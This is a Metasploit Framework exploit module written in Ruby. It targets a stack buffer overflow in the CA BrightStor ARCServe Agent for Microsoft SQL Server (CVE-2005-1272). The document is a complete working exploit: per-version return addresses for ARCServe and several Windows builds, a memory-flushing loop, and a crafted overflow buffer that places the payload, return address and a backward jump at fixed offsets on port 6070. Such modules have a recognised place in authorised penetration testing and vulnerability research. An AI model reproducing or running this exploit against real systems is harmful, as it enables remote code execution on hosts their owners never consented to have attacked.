Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::Tcp

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'CA BrightStor Agent for Microsoft SQL Overflow',

                        'Description'    => %q{

                                        This module exploits a vulnerability in the CA BrightStor

                                Agent for Microsoft SQL Server. This vulnerability was

                                discovered by cybertronic[at]gmx.net.

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-1272'],

                                        [ 'OSVDB', '18501' ],

                                        [ 'BID', '14453'],

                                        [ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],

                                        [ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],

                                ],

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 1000,

                                        'BadChars' => "\x00",

                                        'StackAdjustment' => -3500,

                                },

                        'Targets'        =>

                                [

                                        # This exploit requires a jmp esp for return

                                        ['ARCServe 11.0 Asbrdcst.dll 12/12/2003',     { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp

                                        ['ARCServe 11.1 Asbrdcst.dll 07/21/2004',     { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret

                                        ['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret

                                        # Generic jmp esp's

                                        ['Windows 2000 SP0-SP3 English',              { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp

                                        ['Windows 2000 SP4 English',                  { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp

                                        ['Windows XP SP0-SP1 English',                { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret

                                        ['Windows XP SP2 English',                    { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret

                                        ['Windows 2003 SP0 English',                  { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret

                                        ['Windows 2003 SP1 English',                  { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret

                                ],

                        'DisclosureDate' => 'Aug 02 2005',

                        'DefaultTarget' => 0))

                register_options(

                        [

                                Opt::RPORT(6070)

                        ], self.class)

        end

        def exploit

                print_status("Trying target #{target.name}...")

                # The 'one line' request does not work against Windows 2003

                1.upto(5) { |i|

                        # Flush some memory

                        connect

                        begin

                                sock.put("\xff" * 0x12000)

                                sock.get_once

                        rescue

                        end

                        disconnect

                        # 3288 bytes max

                        #  696 == good data (1228 bytes contiguous) @ 0293f5e0

                        # 3168 == return address

                        # 3172 == esp @ 0293ff8c (2476 from good data)

                        buf = rand_text_english(3288, payload_badchars)

                        buf[ 696, payload.encoded.length ] = payload.encoded

                        buf[3168, 4] = [target.ret].pack('V')  # jmp esp

                        buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"  # jmp -2476

                        connect

                        begin

                                sock.put(buf)

                                sock.get_once

                        rescue

                        end

                        handler

                        disconnect

                }

        end

end